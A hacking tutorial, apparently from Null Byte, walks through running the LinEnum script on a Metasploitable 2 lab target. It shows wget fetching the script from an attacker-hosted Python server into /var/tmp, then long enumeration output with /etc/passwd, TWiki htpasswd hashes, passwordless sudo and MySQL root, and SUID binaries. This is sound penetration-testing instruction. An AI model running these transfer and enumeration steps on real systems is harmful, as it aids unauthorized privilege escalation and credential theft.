How To: Use LinEnum to Identify Potential Privilege Escalation Vectors

Use LinEnum to Identify Potential Privilege Escalation Vectors

The art of privilege escalation is a skill that any competent hacker should possess. It's an entire field unto itself, and while it's good to know how to perform the techniques involved manually, it's often more efficient to have a script automate the process. LinEnum is one such script that can be incredibly useful for privilege escalation on Linux systems.

Privilege escalation is the method of exploiting specific bugs or flaws to obtain higher permissions relative to the current user. Usually, it involves going from a user-level shell to a root shell on Unix or a system shell on Windows.

There are a vast number of techniques out there for successful privilege escalation, and it can easily take years to master them all. On Linux, there are several basic methods used to try to escalate privileges as outlined in g0tmi1k's famous blog post. A lot of the commands can be automated, though, and that's exactly what LinEnum does.

LinEnum is a simple bash script that performs common commands related to privilege escalation, saving time and allowing more effort to be put toward getting root. It's not a perfect solution since there might be false positives or things it misses, so it's always a good idea to verify items manually after running the script.

In this guide, we're using Metasploitable 2 as the target and Kali Linux as the attacking machine, but you can try it out on any similar testing configuration you have set up already. However, a prerequisite to follow along below is that you have to have a low-level shell on the target already.

Step 1: Prepare the Script on Your Attack Machine

To begin, let's create a directory to work out of just to keep things organized. Feel free to name it whatever you want. Then, change into that directory.

~# mkdir linenum
~# cd linenum/

LinEnum and its script can be found on GitHub. An easy way to obtain the script is to use wget to download the raw content directly from GitHub, as seen below.

~/linenum# wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

--2019-05-06 11:24:05--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45639 (45K) [text/plain]
Saving to: ‘LinEnum.sh’

LinEnum.sh                                            100%[======================================================================================================================>]  44.57K  --.-KB/s    in 0.05s

2019-05-06 11:24:05 (872 KB/s) - ‘LinEnum.sh’ saved [45639/45639]

Now that the script is in our directory, we can use Python to serve the file to our target. The easiest way to do this is to use the SimpleHTTPServer module.

~/linenum# python -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...

That module will serve the contents of whatever directory you start it in on port 8000. We can also specify any other port we want, as seen below.

~/linenum# python -m SimpleHTTPServer 1337

Serving HTTP on 0.0.0.0 port 1337 ...

Step 2: Download the Script on the Target Machine

Next, on the target, change to a directory where we want the file to go. I like to use /var/tmp, but any world-writable directory is a good choice.

www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ cd /var/tmp

Other good candidates are:

  • /tmp
  • /dev/shm
  • /var/lock
  • /run/lock

Now we need a way to transfer the file. Utilities like wget and curl can usually be found on Linux systems and offer an easy way to grab files. Check what is installed with the which command.

www-data@metasploitable:/var/tmp$ which wget

/usr/bin/wget

Then, use it to download LinEnum to the target.

www-data@metasploitable:/var/tmp$ wget 10.10.0.1:1337/LinEnum.sh

--10:20:58--  http://10.10.0.1:1337/LinEnum.sh
           => `LinEnum.sh'
Connecting to 10.10.0.1:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45,639 (45K) [text/x-sh]

100%[=========================================================================================================================================================================>] 45,639        --.--K/s

10:20:58 (38.45 MB/s) - `LinEnum.sh' saved [45639/45639]

If we view the permissions, our script isn't yet executable.

www-data@metasploitable:/var/tmp$ ls -la

total 60
drwxrwxrwt  2 root     root      4096 Aug  8 10:20 .
drwxr-xr-x 14 root     root      4096 Mar 17  2010 ..
-rw-r--r--  1 www-data www-data 45639 May  6  2019 LinEnum.sh

But we can make it executable with the chmod command.

www-data@metasploitable:/var/tmp$ chmod +x LinEnum.sh

Now when we view permissions, it shows up as executable.

www-data@metasploitable:/var/tmp$ ls -la

total 60
drwxrwxrwt  2 root     root      4096 Aug  8 10:20 .
drwxr-xr-x 14 root     root      4096 Mar 17  2010 ..
-rwxr-xr-x  1 www-data www-data 45639 May  6  2019 LinEnum.sh

Step 3: Run LinEnum & Analyze Results

Now that everything is in place, the only thing left to do is run LinEnum.

www-data@metasploitable:/var/tmp$ ./LinEnum.sh

The script kicks off and might take a little while to run. Once it's finished, scroll back up to the top and we can begin to examine the results. It starts off with some system information about the kernel and release, which can be helpful for kernel exploits:

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.96

[-] Debug Info
[+] Thorough tests = Disabled

Scan started at:
Wed Aug  8 10:23:33 EDT 2018

### SYSTEM ##############################################
[-] Kernel information:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

[-] Kernel information (continued):
Linux version 2.6.24-16-server (buildd@palmer) (gcc version 4.2.3 (Ubuntu 4.2.3-2ubuntu7)) #1 SMP Thu Apr 10 13:58:00 UTC 2008

[-] Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04"

[-] Hostname:
metasploitable

Next, we get some user information, such as previously logged on users and current user info:

### USER/GROUP ##########################################
[-] Current user/group info:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[-] Users that have previously logged onto the system:
Username         Port     From             Latest
root             pts/0    :0.0             Wed Aug  8 09:46:22 -0400 2018
msfadmin         tty1                      Wed Aug  8 09:47:11 -0400 2018

[-] Who else is logged on:
 10:23:33 up 38 min,  2 users,  load average: 0.01, 0.02, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
msfadmin tty1     -                09:47   35:59m  0.19s  0.09s -bash
root     pts/0    :0.0             09:46   37:14m  0.04s  0.04s -bash

It also gives us the contents of /etc/passwd, which can be helpful when enumerating users on the machine:

[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false

It then gives us some information pertaining to the superuser account, like accounts that have recently used sudo, permissions of the root directory, and SSH login info:

[-] Super user account(s):
root

[+] We can sudo without supplying a password!
usage: sudo -h | -K | -k | -L | -l | -V | -v
usage: sudo [-bEHPS] [-p prompt] [-u username|#uid] [VAR=value]
            {-i | -s | <command>}
usage: sudo -e [-S] [-p prompt] [-u username|#uid] file ...

[-] Accounts that have recently used sudo:
/home/msfadmin/.sudo_as_admin_successful

[+] We can read root's home directory!
total 76K
drwxr-xr-x 13 root root 4.0K Aug  8 09:46 .
drwxr-xr-x 21 root root 4.0K Jan 15  2019 ..
-rw-------  1 root root  324 Aug  8 09:46 .Xauthority
lrwxrwxrwx  1 root root    9 May 14  2012 .bash_history -> /dev/null
-rw-r--r--  1 root root 2.2K Oct 20  2007 .bashrc
drwx------  3 root root 4.0K May 20  2012 .config
drwx------  2 root root 4.0K May 20  2012 .filezilla
drwxr-xr-x  5 root root 4.0K Aug  8 09:46 .fluxbox
drwx------  2 root root 4.0K May 20  2012 .gconf
drwx------  2 root root 4.0K May 20  2012 .gconfd
drwxr-xr-x  2 root root 4.0K May 20  2012 .gstreamer-0.10
drwx------  4 root root 4.0K May 20  2012 .mozilla
-rw-r--r--  1 root root  141 Oct 20  2007 .profile
drwx------  5 root root 4.0K May 20  2012 .purple
-rwx------  1 root root    4 May 20  2012 .rhosts
drwxr-xr-x  2 root root 4.0K May 20  2012 .ssh
drwx------  2 root root 4.0K Aug  8 09:46 .vnc
drwxr-xr-x  2 root root 4.0K May 20  2012 Desktop
-rwx------  1 root root  401 May 20  2012 reset_logs.sh
-rw-r--r--  1 root root  138 Aug  8 09:46 vnc.log

[-] Are permissions on /home directories lax:
total 24K
drwxr-xr-x  6 root     root     4.0K Apr 16  2010 .
drwxr-xr-x 21 root     root     4.0K Jan 15  2019 ..
drwxr-xr-x  2 root     nogroup  4.0K Mar 17  2010 ftp
drwxr-xr-x  5 msfadmin msfadmin 4.0K Jun  6 13:03 msfadmin
drwxr-xr-x  2 service  service  4.0K Apr 16  2010 service
drwxr-xr-x  3 user     user     4.0K May  7  2010 user

[-] Root is allowed to login via SSH:
PermitRootLogin yes

Down a little further, we can see any cron jobs present on the machine, which can be particularly useful for privilege escalation, since a lot of times these tasks will be running as root:

### JOBS/TASKS ##########################################
[-] Cron jobs:
-rw-r--r-- 1 root root  724 Apr  8  2008 /etc/crontab

/etc/cron.d:
total 20
drwxr-xr-x  2 root root 4096 Jul  5 16:19 .
drwxr-xr-x 94 root root 4096 Aug  8 09:45 ..
-rw-r--r--  1 root root  102 Apr  8  2008 .placeholder
-rw-r--r--  1 root root  507 May  3  2012 php5
-rw-r--r--  1 root root 1323 Mar 31  2008 postgresql-common

/etc/cron.daily:
total 60
drwxr-xr-x  2 root root 4096 Apr 28  2010 .
drwxr-xr-x 94 root root 4096 Aug  8 09:45 ..
-rw-r--r--  1 root root  102 Apr  8  2008 .placeholder
-rwxr-xr-x  1 root root  633 Feb  1  2008 apache2
-rwxr-xr-x  1 root root 7441 Apr 22  2008 apt
-rwxr-xr-x  1 root root  314 Apr  4  2008 aptitude
-rwxr-xr-x  1 root root  502 Dec 12  2007 bsdmainutils
-rwxr-xr-x  1 root root   89 Jun 19  2006 logrotate
-rwxr-xr-x  1 root root  954 Mar 12  2008 man-db
-rwxr-xr-x  1 root root  183 Mar  8  2008 mlocate
-rwxr-xr-x  1 root root  383 Apr 28  2010 samba
-rwxr-xr-x  1 root root 3295 Apr  8  2008 standard
-rwxr-xr-x  1 root root 1309 Nov 23  2007 sysklogd
-rwxr-xr-x  1 root root  477 Dec  7  2008 tomcat55

/etc/cron.hourly:
total 12
drwxr-xr-x  2 root root 4096 Mar 16  2010 .
drwxr-xr-x 94 root root 4096 Aug  8 09:45 ..
-rw-r--r--  1 root root  102 Apr  8  2008 .placeholder

/etc/cron.monthly:
total 20
drwxr-xr-x  2 root root 4096 Apr 28  2010 .
drwxr-xr-x 94 root root 4096 Aug  8 09:45 ..
-rw-r--r--  1 root root  102 Apr  8  2008 .placeholder
-rwxr-xr-x  1 root root  664 Feb 20  2008 proftpd
-rwxr-xr-x  1 root root  129 Apr  8  2008 standard

/etc/cron.weekly:
total 24
drwxr-xr-x  2 root root 4096 Mar 16  2010 .
drwxr-xr-x 94 root root 4096 Aug  8 09:45 ..
-rw-r--r--  1 root root  102 Apr  8  2008 .placeholder
-rwxr-xr-x  1 root root  528 Mar 12  2008 man-db
-rwxr-xr-x  1 root root 2522 Jan 28  2008 popularity-contest
-rwxr-xr-x  1 root root 1220 Nov 23  2007 sysklogd

Further down, we get some information about particular software installed on the system. It provides version numbers, which can be helpful when trying exploits, and specific information such as MySQL login names and permissions:

### SOFTWARE #############################################
[-] Sudo version:
Sudo version 1.6.9p10

[-] MYSQL version:
mysql  Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2

[+] We can connect to the local MYSQL service as 'root' and without a password!
mysqladmin  Ver 8.41 Distrib 5.0.51a, for debian-linux-gnu on i486
Copyright (C) 2000-2006 MySQL AB
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL license

Server version      5.0.51a-3ubuntu5
Protocol version    10
Connection      Localhost via UNIX socket
UNIX socket     /var/run/mysqld/mysqld.sock
Uptime:         38 min 1 sec

Threads: 2  Questions: 456  Slow queries: 0  Opens: 420  Flush tables: 1  Open tables: 64  Queries per second avg: 0.200

The script will also look for certain files which could potentially contain passwords, such as the htpasswd file:

[-] htpasswd found - could contain passwords:
/home/msfadmin/vulnerable/twiki20030201/twiki-source/data/.htpasswd
TWikiGuest:zK.G.uuPi39Qg
PeterThoeny:CQdjUgwC6YckI
NicholasLee:h3i.9AzGUn4tQ
AndreaSterbini:zuUMZlkXvUR6Y
JohnTalintyre:2fl31yuNhvMrU
MikeMannix:euHykHV5Q2miA
RichardDonkin:pAVoSPpUf3xt2
GrantBow:EI7XT7IJJV40A
/var/www/twiki/data/.htpasswd
TWikiGuest:zK.G.uuPi39Qg
PeterThoeny:CQdjUgwC6YckI
NicholasLee:h3i.9AzGUn4tQ
AndreaSterbini:zuUMZlkXvUR6Y
JohnTalintyre:2fl31yuNhvMrU
MikeMannix:euHykHV5Q2miA
RichardDonkin:pAVoSPpUf3xt2
GrantBow:EI7XT7IJJV40A

And finally, it shows us potentially interesting SUID binaries, which is maybe the most useful feature of this script, in my opinion. These are programs that are allowed to be executed with the permissions of a specific user, usually a user with higher privileges. When specific programs are set like this (for instance, older versions of nmap), they can be abused to obtain a root shell:

[-] Can we read/write sensitive files:
-rw-r--r-- 1 root root 1581 May 13  2012 /etc/passwd
-rw-r--r-- 1 root root 886 Apr 16  2010 /etc/group
-rw-r--r-- 1 root root 497 May 13  2012 /etc/profile
-rw-r----- 1 root shadow 1207 May 13  2012 /etc/shadow

[-] SUID files:
-rwsr-xr-x 1 root root 63584 Apr 14  2008 /bin/umount
-rwsr-xr-- 1 root fuse 20056 Feb 26  2008 /bin/fusermount
-rwsr-xr-x 1 root root 25540 Apr  2  2008 /bin/su
-rwsr-xr-x 1 root root 81368 Apr 14  2008 /bin/mount
-rwsr-xr-x 1 root root 30856 Dec 10  2007 /bin/ping
-rwsr-xr-x 1 root root 26684 Dec 10  2007 /bin/ping6
-rwsr-xr-x 1 root root 65520 Dec  2  2008 /sbin/mount.nfs
-rwsr-xr-- 1 root dhcp 2960 Apr  2  2008 /lib/dhcp3-client/call-dhclient-script
-rwsr-xr-x 2 root root 107776 Feb 25  2008 /usr/bin/sudoedit
-rwsr-sr-x 1 root root 7460 Jun 25  2008 /usr/bin/X
-rwsr-xr-x 1 root root 8524 Nov 22  2007 /usr/bin/netkit-rsh
-rwsr-xr-x 1 root root 37360 Apr  2  2008 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 12296 Dec 10  2007 /usr/bin/traceroute6.iputils
-rwsr-xr-x 2 root root 107776 Feb 25  2008 /usr/bin/sudo
-rwsr-xr-x 1 root root 12020 Nov 22  2007 /usr/bin/netkit-rlogin
-rwsr-xr-x 1 root root 11048 Dec 10  2007 /usr/bin/arping
-rwsr-sr-x 1 daemon daemon 38464 Feb 20  2007 /usr/bin/at
-rwsr-xr-x 1 root root 19144 Apr  2  2008 /usr/bin/newgrp
-rwsr-xr-x 1 root root 28624 Apr  2  2008 /usr/bin/chfn
-rwsr-xr-x 1 root root 780676 Apr  8  2008 /usr/bin/nmap
-rwsr-xr-x 1 root root 23952 Apr  2  2008 /usr/bin/chsh
-rwsr-xr-x 1 root root 15952 Nov 22  2007 /usr/bin/netkit-rcp
-rwsr-xr-x 1 root root 29104 Apr  2  2008 /usr/bin/passwd
-rwsr-xr-x 1 root root 46084 Mar 31  2008 /usr/bin/mtr
-rwsr-sr-x 1 libuuid libuuid 12336 Mar 27  2008 /usr/sbin/uuidd
-rwsr-xr-- 1 root dip 269256 Oct  4  2007 /usr/sbin/pppd
-rwsr-xr-- 1 root telnetd 6040 Dec 17  2006 /usr/lib/telnetlogin
-rwsr-xr-- 1 root www-data 10276 Mar  9  2010 /usr/lib/apache2/suexec
-rwsr-xr-x 1 root root 4524 Nov  5  2007 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 165748 Apr  6  2008 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9624 Aug 17  2009 /usr/lib/pt_chown

[+] Possibly interesting SUID files:
-rwsr-xr-- 1 root dhcp 2960 Apr  2  2008 /lib/dhcp3-client/call-dhclient-script
-rwsr-xr-x 1 root root 780676 Apr  8  2008 /usr/bin/nmap
-rwsr-xr-x 1 root root 46084 Mar 31  2008 /usr/bin/mtr

Wrapping Up

Today, we learned a little about privilege escalation and how scripts like LinEnum can be incredibly useful for automating certain things. We downloaded the file from GitHub and transferred it to the target, made the script executable and ran it, and analyzed the results and some common ways to utilize the output. LinEnum makes it easy to identify possible privilege escalation vectors on Linux.

Cover image by drd_/Null Byte

Get The Null Byte Newsletter

Never miss a new hacking or security guide

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest